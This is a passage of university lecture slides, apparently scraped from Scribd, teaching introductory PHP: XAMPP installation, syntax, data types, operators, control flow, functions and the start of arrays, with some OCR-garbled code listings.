0% found this document useful (0 votes)
5 views

file5

Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
5 views

file5

Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 673

1 : Server Side Web Development using PHP

& MySQL
IT3406 – Web Application Development II
Level II - Semester 3

A
ucsc © 2020 e-Learning Centre, UCSC
Topic

• 1.1. Install PHP in a windows/ Linux environment [Ref 10:


Pg. (40-54)]
• 1.2. Explain basic features of PHP [Ref 1: Pg. (310-323,
325-343)] [Ref 10: Pg. (271-316)]
• 1.2.1. PHP syntax and semantics
• 1.2.1.1. Variables [Ref 1: Pg. (311)] [Ref 10 : Pg. (288-296)]
• 1.2.1.2. Constants [Ref 10 : Pg. (287)]
• 1.2.1.3. Conditional statements [Ref 1: Pg. (325-330)]
• 1.2.1.4. Loops [Ref 1: Pg. (331-334)]
• 1.2.1.5. Functions [Ref 1: Pg. (336)]

© 2020 e-Learning Centre, UCSC 2


Topic

• 1.2.2. Arrays and data processing with arrays [Ref 1: Pg. (206)]
[Ref 10 : Pg. (296-305)]
• 1.2.3. Handling HTML forms with GET and POST operations [Ref
1: Pg. (343)]
• 1.2.4. Form validation fields ( including URLs and email address)
and required fields [Ref 10: Pg. (574-585)]
• 1.2.5. Filtering inputs ( validate and sanitize external inputs) [Ref
1: Pg. (384-389)] [Ref 10: Pg. (432)]
• 1.2.6. Session control and cookies ( create and retrieve a cookie)
PHP [Ref 1: Pg.(419-435)][Ref 10: Pg. (437-446)]
• 1.2.7. File handling (Open, read, create, write operations with files,
upload files ) PHP [Ref 10: Pg. (366-368)]
• 1.2.8. Sending emails using PHP [Ref 11]
• 1.2.9. Object Orientation with PHP [ Ref 1. Pg. (395-418)]
• 1.3. Use web services with PHP [Ref 10: Pg. (541-553)]

© 2020 e-Learning Centre, UCSC 3


Topic

• 1.4. Develop a web application with PHP [Ref 9: Pg. (604-636)]


• 1.5. Setting up MySQL [Ref 1: Pg. (470-474)] [Ref 10: Pg. (56-74)]
• 1.6. Connect to MySQL database [Ref 1: Pg. (513)] [Ref 10: Pg. (515-
527)] [Ref 2: Pg. (165)]
• 1.6. Explain MVC architecture and differentiate available PHP frameworks
[Ref 1: Pg. (683)] [Ref 3: Pg. (1-4)] [Ref 3: Pg. (345-441)]/[Ref. 4: Pg. (83-
105)]
• 1.7. MYSQL database operations - Read/modify/delete/search operations
[Ref 1: Pg. (497-513)] [Ref 2: Pg. (206)]
• 1.7.1. Processing forms (Create, Read/Retrieve, Update, and Delete
operations) [Ref 2: Pg. (235-250)]
• 1.8. Use of PHP unit testing tools for testing automation of front end web
applications and manual testing of applications. [Ref 1: Pg. (616)]
• 1.9. Consider server-side security threats eg: data spoofing, invalid data,
unauthorized file access [Ref 1: Pg. (375-382)][Ref 10: Pg. (425-436)]
• 1.10. Handle vulnerability solutions eg: data sanitizing and validation [Ref
1: Pg. (384-389)]
© 2020 e-Learning Centre, UCSC 4
PHP Programming/Scripting language

• PHP is a widely used web programming/scripting


language which is free.
• There are more than one way to start learning with
PHP code.
1. Use an online interpreter accessed by the
browser
2. Use a server accessed through a network an
transfer code
3. Install PHP in the local machine:
❖ Run the code from the command line
❖ Execute through the web server integration
• As a beginner easiest way is “trying out” PHP code
without installing and configuring it from first
method.
• We will first look at the online interpreter.
© 2020 e-Learning Centre, UCSC 5
Activity: PHP Programming with online interpreter

• Go to PHP area in w3schools website:


https://www.w3schools.com/php/
• Click “Try it Yourself” to launch the interpreter.

Easy Learning with "PHP Tryit"


With our online "PHP Tryit" editor, you can edit the PHP code, and click on a button to view the result.

Example
<! DOC TYPE html>
<html>
<body>

<?php
echo "My first PHP script!";
?>

</body>
<

Try it Yourself »

© 2020 e-Learning Centre, UCSC 6


Activity: PHP Programming with online interpreter

• Write the PHP code in the left hand side text area.
• Click “Run” button to start processing (an animation will
start).
• See the output in the right hand side of the page.

My first PHP script!


© O Run »

<?php
echo "My first PHP script!";
?>

)
© 2020 e-Learning Centre, UCSC
l
7
PHP Programming with networked server

• Provided you have access to a server that supports


PHP scripting language you can do the following:
• Write your code in an editor, save it in the local
machine.
• Transfer it to the correct directory of the server via
FTP.
• Access the server URL from the web browser (with the
name of your script)
>ÿ >ÿ
<?? >ÿ >ÿ

>
php
ill
m Network/Interne
t

© 2020 e-Learning Centre, UCSC


i
8
Installing PHP in a windows environment

• There are more than one method to install PHP.


• PHP binaries can be downloaded from php.net.
• https://windows.php.net/download#php-8.0

• There are x86/x64 and Thread-safe and non-


thread-safe builds.
• Alternatively, there are prepackaged binaries
with PHP and MySQL.
© 2020 e-Learning Centre, UCSC 9
Activity : Installing PHP with XAMPP in Windows

• XAMPP is a popular Apache/PHP/MySQL bundle for


popular platforms.
• XAMPP installation step 1:
• Download XAMPP from :
https://www.apachefriends.org/index.html
• Click the appropriate platform to download the binaries
for your platform
• We will download the windows binaries for this activity.

1
© 2020 e-Learning Centre, UCSC
0
Activity : Installing PHP with XAMPP in Windows

• XAMPP installation step 2.


• Run the installer executable file by double clicking.
• The following dialog will appear for XAMPP version for
PHP 8.0.
• Click next to continue.

1
© 2020 e-Learning Centre, UCSC
1
Activity : Installing PHP with XAMPP in Windows

• XAMPP installation step 3:


• In this dialog, select the options that you prefer or
unselect the options you do not prefer.
• For this activity we will use the default selection.
• Click next to continue.

1
© 2020 e-Learning Centre, UCSC
2
Activity : Installing PHP with XAMPP in Windows

• XAMPP installation step 4:


• In this dialog you can customize the installation directory
for XAMPP.
• We will use the default path as C:\xampp.
• Click next to continue.

1
© 2020 e-Learning Centre, UCSC
3
Activity : Installing PHP with XAMPP in Windows

• XAMPP installation step 5:


• In this dialog, you can customize the language of
XAMPP control panel.
• We will use the default.
• Click next to continue.

1
© 2020 e-Learning Centre, UCSC
4
Activity : Installing PHP with XAMPP in Windows

• XAMPP installation step 6:


• Click next until the installation begins and the following
screen is shown.
• Your system might need to be restarted.

1
© 2020 e-Learning Centre, UCSC
5
Activity : Installing PHP with XAMPP in Windows

• XAMPP installation should be completed by now.


• Double click on xampp-control.exe in the installation
directory.
• The control panel shows here:

1
© 2020 e-Learning Centre, UCSC
6
Activity : Installing PHP with XAMPP in Windows

• Testing XAMPP installation:


• Start apache service from control panel as below:
• Open the web browser and go to http://localhost/
• Go to phpinfo.php page and see the output generated
by PHP. http://localhost/dashboard/phpinfo.php
• If the page is generated, then your PHP installation is
complete!

1
© 2020 e-Learning Centre, UCSC
7
Activity : Installing PHP with XAMPP in Windows

Problems?
• If you do not get the results as given above there are
few things to check!
• Is there another server running in default port used by
apache server (port:80) ?
• Restarting the computer if it is not already done from
the installer.
• Go to FAQ section for XAMPP:
https://www.apachefriends.org/faq_windows.html
• Other places to look for help:
• https://community.bitnami.com/t/xampp-installation-
problem/50826
• https://stackoverflow.com/

1
© 2020 e-Learning Centre, UCSC
8
Explain the basic features of PHP
Explain basic features of PHP

▪ You can use any text editor to create PHP scripts.


▪ PHP scripts should be saved in files with the .php extension.
▪ PHP scripts should be coded within <?php and ?> tags.
▪ In PHP scripting statement terminator is “;” symbol, as
follows:

2
© 2020 e-Learning Centre, UCSC
0
Explain basic features of PHP

▪ You may have multiple statements as single lines, (i.e.:


separated by ;) but having multiple statements in a single
line is not a good coding practice.
▪ PHP is a free formatted language. Therefore, you can
have spaces in between statement components as you
wish. Compare valid PHP code in left picture with right
picture as an example for Python which is NOT a free
format.

2
© 2020 e-Learning Centre, UCSC
1
Activity : Write a PHP script and test
• We already tried the phpinfo page in the XAMPP installation.
• Here we create a PHP page on our own and try to access it.
• Let us create a php script in xampp htdocs directory.
• Write the following code in your favorite text editor and save it
as hello.php
• We do not write any executable code here, we show
embedding a PHP segment inside HTML markup as follows :

2
© 2020 e-Learning Centre, UCSC
2
Activity : Write a PHP script and test
• The apache server connected to our PHP installation
contains specific directory that it looks for an executable
scripts.
• Here in XAMPP by default this directory is
<installation_path>/htocs.
• This path can be seen in the configuration file of XAMPP
properties.ini file with key:
apache_htdocs_directory=C:\xampp/htdocs.
• This document path is normally (non-XAMPP installations)
under the configured in key : DocumentRoot
"C:/xampp/htdocs” in the server’s
<server_root>/conf/httpd.conf file.

2
© 2020 e-Learning Centre, UCSC
3
Activity : Write a PHP script and test

• Lets call phpinfo function from our code.


• Save the info.php in the same htdocs directory.
• Direct the browser to info.php and see the result.

2
© 2020 e-Learning Centre, UCSC
4
What is PHP?

• PHP is a general-purpose programming/scripting language especially


used for web development.
• It was originally created by Danish-Canadian programmer Rasmus
Lerdorf in 1994.
• The PHP reference implementation is now produced by The PHP
Group. PHP originally stood for Personal Home Page, but it now
stands for the recursive acronym “PHP: Hypertext Preprocessor”.
• PHP is an open software which can be used for commercial purposes
without a license fee.

2
© 2020 e-Learning Centre, UCSC
5
How does PHP work?
How PHP scripts are processed in web environment?
• Client sends a request to web server to access a PHP script
• The server checks if such a resource is available in the server
• If exists server send the script to the PHP interpreter together
with the parameters given by the client (if any)
• PHP interpreter executes the instructions in the script
• Access any other resources if required (accessing file system,
accessing database(s), accessing mail server(s) etc..)
• Interpreter sends the output of the script to the server
• Server sends it back to the client.

2
© 2020 e-Learning Centre, UCSC
6
Difference between an interpreter and compiler

Interpreter takes the program source and executes the operations


available in the script at the runtime.
Compiler translates the program source to either an intermediate form or
to the machine(native) specific binary form.
The interpreters are usually slower than compiler based languages.
Some languages such as Java compiles to an intermediate level between
native format and source format which has to be interpreted at runtime
but the gap is lesser than pure interpretation.

2
© 2020 e-Learning Centre, UCSC
7
2
© 2020 e-Learning Centre, UCSC
8
Explain basic features of PHP

•The echo command can be used to print text on the screen.


The syntax of the echo command is given below
echo “some text”;
•Type the following script in a file by using a text editor and
save it with the name hello4php.php

<?php
echo “Hello from PHP!”;
?>
• We can execute php scripts with or without the server
•Let’s execute the script at the command line by directly
invoking the PHP interpreter
php hello4php.php
2
© 2020 e-Learning Centre, UCSC
9
Explain basic features of PHP

•As we did before, the HTML pages can have embedded


PHP code.
•The server will invoke the interpreter to process PHP
code by switching between PHP and HTML modes.

<?php echo(“Some PHP code”); ?>

<html>
<body>
<?php echo(“Some PHP code”); ?>
</body>
</html>
3
© 2020 e-Learning Centre, UCSC
0
Data types and Constants
Data types

•A Data type can be described as a collection of


values and a set of valid operations over these
values.
•The different primitive data types provided by
PHP can be classified as :
• Scalar Types
• Compound Types
• Special Types

3
© 2020 e-Learning Centre, UCSC
2
Data types

•PHP supports the following primitive scalar data


types.
• Integer – e.g.: -5,-2,0,1,3,8…
• Floating point (or Double) – 1.25,3.71x102
• String – “Hello”, “Welcome to PHP”
• Boolean – true/false

3
© 2020 e-Learning Centre, UCSC
3
Data types

•Any number in the set {….,-2,-1,0,1,2,………} is


considered as an integer. The maximum and the
minimum integer value that can be used in a
program are platform dependent.
•The number of bytes allocated to store an integer
and the maximum integer value that can be used in
your platform can be determined by using the
constants PHP_INIT_SIZE and PHP_INT_MAX
•If PHP encounters a number larger than
PHP_INT_MAX, the number will be interpreted as a
floating point number.
•Example :
<?php
echo PHP_INT_SIZE,"\n",PHP_INT_MAX;
?>
3
© 2020 e-Learning Centre, UCSC
4
Data types

•If PHP encounters a number larger than


PHP_INT_MAX, the number will be interpreted
as a floating point number. Example :
<?php
echo PHP_INT_SIZE,"\n",PHP_INT_MAX;
?>
•An integer literal can be specified in decimal,
octal, hexadecimal or binary.
hexadecimal : 0[xX][0-9a-fA-F] e.g.: 0x19af, 0x46B4E9
octal : 0[0-7] e.g.: 010537642
binary : 0b[01] e.g.: 0b101011001

3
© 2020 e-Learning Centre, UCSC
5
Integer Data : Activity
Represent the following integers with PHP echo command
and find the decimal representation by running the script. i.e:
<?php echo 1234; ?>
• 1234 // a positive integer in decimal form
• -123 // a negative integer in decimal form
• 0123 // integer 83 in octal form
• 0x2b1 // integer 689 in hexadecimal form
// integer 13 in binary form
• 0b01101

3
© 2020 e-Learning Centre, UCSC
6
Data types

•The numbers with decimal points are


considered as floating point (double or real)
numbers.
•The floating point numbers are represented
internally by using IEEE floating point
representation. Thus, the representations are
not exact. Therefore, floating point numbers
should not compare for equality.
•Floating point literals can be coded in different
ways. Example :
• -1.23 1.2e3
• 34.45E-12

3
© 2020 e-Learning Centre, UCSC
7
Decimal Floating Point
Representation

3
© 2020 e-Learning Centre, UCSC
8
Data types

The following operators can be applied on both


integers and floating point numbers.

3
© 2020 e-Learning Centre, UCSC
9
Data types

PHP also supports increment and decrement


operators as in Java and C++.
Operator Description
++$x Pre-increment Increments $x by one, then returns $x

$x++ Post-increment Returns $x, then increments $x by one

--$x Decrements $x by one, then returns $x

$x-- Returns $x, then decrements $x by one

4
© 2020 e-Learning Centre, UCSC
0
Data types

PHP Logical operators

Operator Operation
$x and $y True if both $x and $y are true

$x or $y True if either $x or $y is true

$x xor $y True if either $x or $y is true, but not both

!$x True if $x is not true

4
© 2020 e-Learning Centre, UCSC
1
Activity : Data types

What is the output of the following program?

<?php
echo -3,"\t",5 - 3,"\t",5.2*3.4,
"\t",10/2,"\t",
10/4,"\t",10%3,"\n";
?>

4
© 2020 e-Learning Centre, UCSC
2
Data types

•The following type conversion happens


automatically when addition(+) operator is
applied on its operands.
•If either operand is a float, then both operands
are evaluated as floats, and the result will be a
float.
•Otherwise, the operands will be interpreted as
integers, and the result will also be an integer.

4
© 2020 e-Learning Centre, UCSC
3
Data types

•A string is a series of characters.


•The series of characters in a string literal are normally
represented either in single quotes or in double quotes.

Example :
<?php
echo "This is a string literal","\n";
echo 'Another string literal';
?>

4
© 2020 e-Learning Centre, UCSC
4
Data types

•Certain character sequences are given special


meanings in PHP.
•Note that special character sequences are
interpreted as one character despite the
combination in them.
Character Special Meaning
sequence
\n Linefeed
\t Horizontal tab
\$ Dollar sign
V Double quote

© 2020 e-Learning Centre, UCSC


I
4
5
Activity : Data types

•The special character sequences retain their


special meanings only when used inside double
quotes. Execute the following code and check the
result.

Example :
<?php
echo 'How the character sequence \n
works'; //not recognized
echo "A PHP string is represented by
\”String\” ";
echo ‘Bill spent 5$ for food’ ;//not
recognized as variable
?>

4
© 2020 e-Learning Centre, UCSC
6
Activity : Data types

•In the following example second statement is


interpreted with a ‘$bills’ variable. Run the code
and write a correction to the second statement.

<?php
echo 'Bill spent 5 $bills for food' ;
echo "Bill spent 5 $bills for food" ;
?>

echo "Bill spent 5 \$bills for food" ;

4
© 2020 e-Learning Centre, UCSC
7
Data types

•Boolean values are represented by using two


literals – TRUE or FALSE. Both are case-
insensitive.
•Values are automatically converted as
appropriate if an operator, function or control
structure requires a boolean argument.

4
© 2020 e-Learning Centre, UCSC
8
Data types

•When converting to boolean the following


values are considered as FALSE.
• The boolean literal FALSE.
• The integer literal 0
• The floating point literal 0.0.
• The empty string “” and the string “0”.
• An array with zero elements
• The special type NULL.

•A boolean TRUE value is converted to the


string “1” and FALSE is converted to “”(empty
string).
4
© 2020 e-Learning Centre, UCSC
9
Activity : Data types

•What is the output of the following script?


<?php True -1
False -
echo "True -",true,"\n"; 1>0-1
2>5-
echo "False -",false,"\n"; 0 && true -
"" && true -
echo "1 > 0 - ", 1 > 0, "\n"; TRUE > FALSE - 1
echo "2 > 5 - ", 2 > 5, "\n"; TRUE < FALSE
echo "0 && true -",0 && true,"\n";
echo '"" && true -',"" && true,"\n";
echo "TRUE > FALSE - ", TRUE > FALSE,
"\n";
echo "TRUE < FALSE - ", TRUE < FALSE,
"\n";
?>
5
© 2020 e-Learning Centre, UCSC
0
Data types

•What is the output of the following script?


<?php
echo "True -",true,"\n"; True -1
echo "False -",false,"\n"; False -
echo "1 > 0 - ", 1 > 0, "\n"; 1>0-1
echo "2 > 5 - ", 2 > 5, "\n";
echo "0 && true -",0 && true,"\n"; 2>5-
echo '"" && true -',"" && true,"\n"; 0 && true -
echo "TRUE > FALSE - ", TRUE > FALSE, "\n"; "" && true -
echo "TRUE < FALSE - ", TRUE < FALSE, "\n";
TRUE > FALSE - 1
?>
TRUE < FALSE -

5
© 2020 e-Learning Centre, UCSC
1
Data types

•String are converted to numbers when strings are used with


mathematical operations. How this conversion happens is
given below.
•The value is given by the initial portion of the string.
•The leading white spaces are ignored.
•If the string starts with valid numeric data, this will be the
value used. Otherwise, the value will be 0 (zero).
•Valid numeric data is an optional sign, followed by one or
more digits (optionally containing a decimal point), followed
by an optional exponent. The exponent is an 'e' or 'E'
followed by one or more digits.
•When a comparison operation involves a string or a
numerical string, then each string is converted to a number
and a numerical comparison is performed.

5
© 2020 e-Learning Centre, UCSC
2
Activity : Data types

•What is the output of the following script?


<?php
echo "10" > 1 ,"\n";
echo "10 items" > 2 ,"\n";
echo "items" > 2 , "\n";
echo True == 1, "\n";
echo false == 0, "\n";
echo TRUE == FALSE, "\n";
?>

5
© 2020 e-Learning Centre, UCSC
3
Activity : Data types

•What is the output of the following script?


<?php
echo "10" > 1 ,"\n"; 1
echo "10 items" > 2 ,"\n"; 1
echo "items" > 2 , "\n"; empty string
echo True == 1, "\n"; 1
echo false == 0, "\n"; 1
echo TRUE == FALSE, "\n"; empty string
?>

5
© 2020 e-Learning Centre, UCSC
4
String Concatenation Operator
String String +Operator
operand Operator operand

Statement "the" + "open" + "tutorials" + ".com"

+
1
step l "theopen" "tutorials"
String String

Step 2 "theopentutorials" + ".com"


String String

Step 3: RESULT "theopentutorials.com"

If both operands of + operator is a String, then the + operator becomes a String


Concatenation
Here, 7 String objects are created in the memory.
1. "the", 2. "open" , 3. "tutorials", 4. ".com",
5."theopen",
6. "theopentutorials",
7. "theopentutorials.com"
© 2020 e-Learning Centre, UCSC
I
5
5
print and echo, are they similar?

•There are some differences between echo and


print:
•echo - can output one or more strings
•print - can only output one string, and returns
always 1
•Tip: echo is marginally faster compared to print as
echo does not return any value.
<?PHP
Example:
// Using echo to output multiple strings
echo vs. print
echo "Hello, ", "World!", "\n";
echo : echo "Hello, World!";This outputs "Hello, World!"
to the screen but doesn't return anything,
// Using print in an expression
so you can't do something like
$result = print "Hello, PHP!";
$result = echo "Hello";
echo "\nResult of print: ", $result;
?>
5
© 2020 e-Learning Centre, UCSC
6
Constants

•Values declared in the code that do not change


during the execution of the program.
•Constants are defined in PHP by using the define()
function.
i.e.: define(“UCSC”, “University of Colombo School of
Computing”)
•defined() function says whether the constant exists
or not.

5
© 2020 e-Learning Centre, UCSC
7
Activity: Constants

•Define a constant and check if it is defined by the


code:
•Example:
<?php
define(“UCSC", "University of Colombo
School of Computing");
echo("defined?".defined(“UCSC"));
//concatenate the value returned by
defined()
?>

5
© 2020 e-Learning Centre, UCSC
8
Variables and Operators
A
We can thfnk that
placeholders for 10=2x S variable is one type of
unknown values
w 3
variable
Container where we can
store some element

i1 int = which type of element


* we can store
r* age = name of the container box
int age = 21; 21 = type of element
A
usually denoted by
letters or symbols
w
*> e> -*
A Memory Cell/locatton
int a = 5; _ Address
Name
/
variable
\
value 60
Variables
• A variable is a container of an object in a programming
environment.
• Variables can represent memory locations of your
computer.
• Since the data/value containing in a memory location can
change the variable’s value can change over the execution
of a program.
• What type of object a variable can represent in your
program depends on the data type of the given variable.
• i.e. : An integer type variable may represent a whole
number stored in the computer memory and so on…

6
© 2020 e-Learning Centre, UCSC
1
Variables
Rules for PHP variables:
•A variable starts with the $ sign, followed by the
name of the variable.
•A variable name must start with a letter or the
underscore _ character.
•A variable name cannot start with a number.
•A variable name can only contain alpha-numeric
characters and underscores (A-z, 0-9, and _ ).
•Variable names are case sensitive ($y and $Y are
two different variables).

6
© 2020 e-Learning Centre, UCSC
2
Variables
The variables in PHP are declared by appending the $
sign to the variable name, i.e.:
$company = “UCSC”;
$sum = 10.0;

•Variable data type is set at runtime by the value


that is assigned to the variable.

•Type casting allows to change the data type


explicitly.
•Rich set of functions for working with variable.
i.e.: gettype, settype, isset, unset, is_int, intval etc…
6
© 2020 e-Learning Centre, UCSC
3
Variable Scope

• PHP, variables can be declared anywhere in the script.


• The scope of a variable is the part of the script where the
variable can be referenced/used.
• PHP has three different variable scopes:

1. local
2. global
3. static

6
© 2020 e-Learning Centre, UCSC
4
Local Scope

• AA variable declared within a function has a LOCAL SCOPE


and can only be accessed within that function:
• $x is a local variable

6
© 2020 e-Learning Centre, UCSC
5
Global Scope

• A variable declared outside a function has a GLOBAL SCOPE


and can only be accessed outside a function:
• $x is a global variable

6
© 2020 e-Learning Centre, UCSC
6
Global Scope
• However the global keyword can be used to access a global
variable from within a function.
• To do this, use the global keyword before the variables
(inside the function): <?php
$x = 5;
$y = 10;

function myTestO {
global $x, $y;
$y = $x + $y;
}

myTest();
echo $y; }f outputs 15
?>

© 2020 e-Learning Centre, UCSC


I
6
7
Static Scope
• Normally, when a function is completed/executed, all of its
variables are deleted. However, sometimes we want a local
variable NOT to be deleted. (i.e.: we can use to count the
function calls.)
• To do this, use the static keyword when you first declare
the variable: <?php
function myTest() {
static $x = 0;
echo
$x++;
}

nyTest();
myTest();
myTest();

© 2020 e-Learning Centre, UCSC


I
6
8
Operators

•Most PHP operators such as arithmetic, assignment,


comparison and logical are similar to the operators
in Java or C++.

•However, in PHP the string concatenation operator


is denoted by ‘.’ but not ‘+’.
i.e.
$whats_ur_name = “My name is ”.$myname;

6
© 2020 e-Learning Centre, UCSC
9
Arithmetic Operators
•Summary of basic mathematical operators in PHP

Operator Usage Meaning


+ $x + $y $x added to $y
- $x - $y $y subtracted by $x
* $x * $y $x multiplied by $y
/ $x / $y $x divided by $y
% $x % $y Remainder of $x divided by $y
** $x ** $y $x to the power of $y

** $x ** $y $x to the power of $y

7
© 2020 e-Learning Centre, UCSC
0
Boolean (Logical) Operators
▪ The following operators can be applied
on both integers and floating point
numbers.
Operator Result
and, && TRUE when both operands are TRUE
or, || TRUE when either operand is TRUE
xor TRUE when either operand is TRUE, but not both
! negation

7
© 2020 e-Learning Centre, UCSC
1
Activity: Operators
•Find the output of the following code fragment.
<?php

$x = 3;
$y = 5;
$z = 4;

echo '$x + $y:'.($x + $y)."\n";


echo '$z - $x:'.($z - $x)."\n";
echo '$y * $z:'.($y * $z)."\n";
echo '$x / $y:'.($x / $y)."\n";
echo '$z % $x:'.($z % $x)."\n";
echo '$y ** $z:'.($y ** $z)."\n";

?>

7
© 2020 e-Learning Centre, UCSC
2
Activity: Operators

•Find the output of the following code fragment.


<?php

$x = 3;
$y = 5;
$z = 4;

echo '$x + $y:'.($x + $y)."\n"; $x + $y:8


echo '$z - $x:'.($z - $x)."\n"; $z - $x:1
echo '$y * $z:'.($y * $z)."\n"; $y * $z:20
echo '$x / $y:'.($x / $y)."\n"; $x / $y:0.6
echo '$z % $x:'.($z % $x)."\n"; $z % $x:1
echo '$y ** $z:'.($y ** $z)."\n"; $y ** $z:625

?>

7
© 2020 e-Learning Centre, UCSC
3
Conditional Statements
Conditional Statements

Conditional statements are for decision making at


branching points of a program.

In PHP we have the following conditional statements:


• if statement - executes some code only if a specified
condition is true
• if...else statement - executes a block of code if a
condition is true and some other block of code if the
same condition is false
• if...elseif....else statement - selects only one of several
blocks of code to be executed
• switch statement - selects one of several blocks of code
to be executed
7
© 2020 e-Learning Centre, UCSC
5
Syntax of Conditional Statements

if statement & if…else statement


IF statement
if (<condition>) {
//php code goes here
<?php
}
IF Else statement $color=“Red”;
if (<condition>) {
if ($color ==“Red”) {
//php code goes here echo "Please STOP";
} } else {
else { echo “You can GO";
}
//php code goes here
} ?>

7
© 2020 e-Learning Centre, UCSC
6
Conditional Statements
Syntax
if...elseif....else statement
<?php

$color=“Red”;
if (condition) {
//php code goes here if ($color ==“Red”) {
} elseif (condition) { echo “Please Stop“ ;
//php code goes here } elseif ($color ==“Yellow”)
{ echo “Get ready“ ;
} else {
} else {
//php code goes here echo “You can GO“ ;
} }

?>

7
© 2020 e-Learning Centre, UCSC
7
Conditional Statements
Syntax <?php
Switch
statement $favcolor="red";
select one of
many blocks switch ($favcolor) {
of code to be case "red":
executed. echo "Your favorite color is red!"; break;
case "blue":
echo "Your favorite color is blue!"; break;
case "green":
echo "Your favorite color is green!"; break;
default:
echo "Your favorite color is neither red, blue, or
green!";
}

?> 7
© 2020 e-Learning Centre, UCSC
8
Activity : Conditional statements
• Write a conditional statement to echo a string for a
number given in the variable $input as “red”,
“green”, “blue” and “yellow”.
• If the input is positive and even : red.
• If the input is positive and odd : blue.
• If the input is negative : green.
• If the input is zero yellow.

7
© 2020 e-Learning Centre, UCSC
9
Loops
Loops
▪ Loops are used when you need some block of code to be
executed over and over again.
▪ In PHP, we have the following looping constructs:
▪ while - loops through as long as the given condition is true
▪ do...while - loops through the code at least once, and then
repeats the loop as long as the given condition is true
▪ for - loops through a the code a given number of times
▪ foreach - loops through the code for each element in
a collection

8
© 2020 e-Learning Centre, UCSC
1
while Loop
<?php
while (condition is true) { $i=1;
//Code block; while($i<=5) {
} echo "Number: $i </br>";
$i++;
}
?>

Number: 1
Number : 2
Number : 3
Number : 4
Number : 5

8
© 2020 e-Learning Centre, UCSC
2
do-while loop
<?php
do {
//Php code $i=1;
} while (condition is true); do {
echo "Number: $i </br>";
$i++;
}while ($i<=5 && $i>1);

?>
Number: 1
Number : 2
Number : 3
Number : 4
Number : 5

8
© 2020 e-Learning Centre, UCSC
3
for loop
for (initialize counter; check; increment counter) {
//Do this;
}

The number is: 0


<?php The number is: 1
for ($i=0; $i<=10; $i++) { The number is: 2
echo "The number is: $i The number is: 3
<br>"; The number is: 4
} The number is: 5
?> The number is: 6
The number is: 7
The number is: 8
The number is: 9
The number is: 10

8
© 2020 e-Learning Centre, UCSC
4
foreach loop
This works only on collections such as arrays
,lists <?php
foreach ($array as $value)
{ $person =
//Do this array("Nimal","Kamal","Sunil","Amal");
}
foreach ($person as $value) {
echo "$value \n";
}

Nimal ?>
Kamal
Sunil
Amal

8
© 2020 e-Learning Centre, UCSC
5
Activity : Loops
• Consider the following PHP statement:
$person = array("Dj","Kamal","de","Lanerole");
• Write a foreach loop to iterate through the $person array
and inside the loop there should be switch statement that
categorizes the array elements based on the length and
echos the “short\n” when the name is 0,1 or 2 characters
“medium” when 3,4 or 5 characters and “long” otherwise.
• (Note: You can combine conditions with grouped cases and
find the length of the name by strlen() function)

8
© 2020 e-Learning Centre, UCSC
6
Activity : Loops
Answer:
1 <7php
2 = arrayC'Dj” ,"Kamal","de",'"Lanerole");
3 foreach ($person as $value) {
4 $len = strleri($value);
5T swi tch(j>len){
6 case 0:
7 case 1:
8 case 2:
9 echo "shorten" ;
10 breaks
11 case 3:
12 case 4:
13 case 5:
14 echo "medium\n";
15 break ;
16 default:
17 echo "long\n"!
ia }
19 }
20 ?>

© 2020 e-Learning Centre, UCSC


I
8
7
Functions
Functions
▪ Functions make your code easy to read and make reusable.
▪ Large projects would be unmanageable without functions
because the problem of repetitive code that would bog
down the development process
▪ A function accepts values, processes them, and then performs
an action (printing to the browser, for example) and
optionally returns a new value.
▪ PHP has 2 types of functions
1. Language defined functions
2. User defined functions

8
© 2020 e-Learning Centre, UCSC
9
Built-in functions
▪ PHP has hundreds of language defined(built-in) functions .
For example strlen() returns the length of a string, in
characters .
<?php
echo strlen("Hello World!");
?>

▪ You can find a compete set of language defined functions


here
9
© 2020 e-Learning Centre, UCSC
0
User defined functions
▪ You can define your own functions in PHP using the
function keyword.
<?php
function writeMsg() {
echo "Hello world!";
}

writeMsg(); // call the function


?>

▪ A function name can start with a letter or underscore but


not a number.
variables names are case sensitive in
PHP, function names are not!
© 2020 e-Learning Centre, UCSC
I
9
1
User defined functions-Function with
no parameters
function NameOfFunction(){
statements;
}
<?php
Defining function WriteWhoAmI() {
echo "I'm an undergraduate";
the }
Function ?>

Calling
<?php
the WriteWhoAmI();
Function ?>

Now when you call this function, it


will print I’m an undergraduate 9
© 2020 e-Learning Centre, UCSC
2
User defined functions – with
parameters
▪ Parameter types and return types are not written .
▪ A function with no return statements implicitly returns NULL.
function name(parameterName, ...,
parameterName) {
statements;
}
<?php
function multiply($a, $b, $c) {
return $a*$b*$c;
}
?>
<?php
echo multiply(1,2,3);
?>
9
© 2020 e-Learning Centre, UCSC
3
Default Parameter
Values
When a function is called without specifying a parameter
value, the default value will be used

<?php
function setMarks($minMark=50) {
echo "The Mark is : $minMark </br>";
}

setMarks(95);
setMarks(); // will use the default value of 50
setMarks(80);
?>

9
© 2020 e-Learning Centre, UCSC
4
Activity: Functions
Complete the factorial function skeleton given below
that computes the factorial for a positive integer
(factorial 5 = 5x4x3x2x1):

9
© 2020 e-Learning Centre, UCSC
5
8 5 7 1

0 1 2 3 4 5 6 7
4

3 2 6

Arrays
An array stores multiple values in one single variable

96
PHP Arrays
• One of the compound data types provided by PHP
is arrays.
• In general a PHP array is an ordered collection of
data items where each item in the collection is
associated with a key.
• In PHP, there are three types of arrays:
1. Indexed arrays - Arrays with a numeric index
2. Associative arrays - Arrays with named keys
3. Multidimensional arrays - Arrays containing one or
more arrays
9
© 2020 e-Learning Centre, UCSC
7
PHP Arrays
• PHP ‘indexed array’ with three String data elements.
<?php
$cars = a may("Volvo", "BMW", "Toyota");
echo "I like " . $cars[0] . ",'. $cars[l] . " and ” . $cans[2] .
?>

• To access an indexed array you have to use the index


number of the elements starting from 0 to length-1.
• To get the length of an array - The count() function is used
(the number of elements) of an array.
<?php
fears = array("Volvo", "BMW", "Toyota");
echo count(fears);
?>

© 2020 e-Learning Centre, UCSC


I
9
8
Construction of an array
• An associative array is
Syntax :
constructed by using the
language construct array(
array(array_elements) index_1 =>value_1,
index_2 => value_2,
• The array_elements
……………
comprises of a comma- index_n => value_n,
separated index,value
pairs, where each pair is
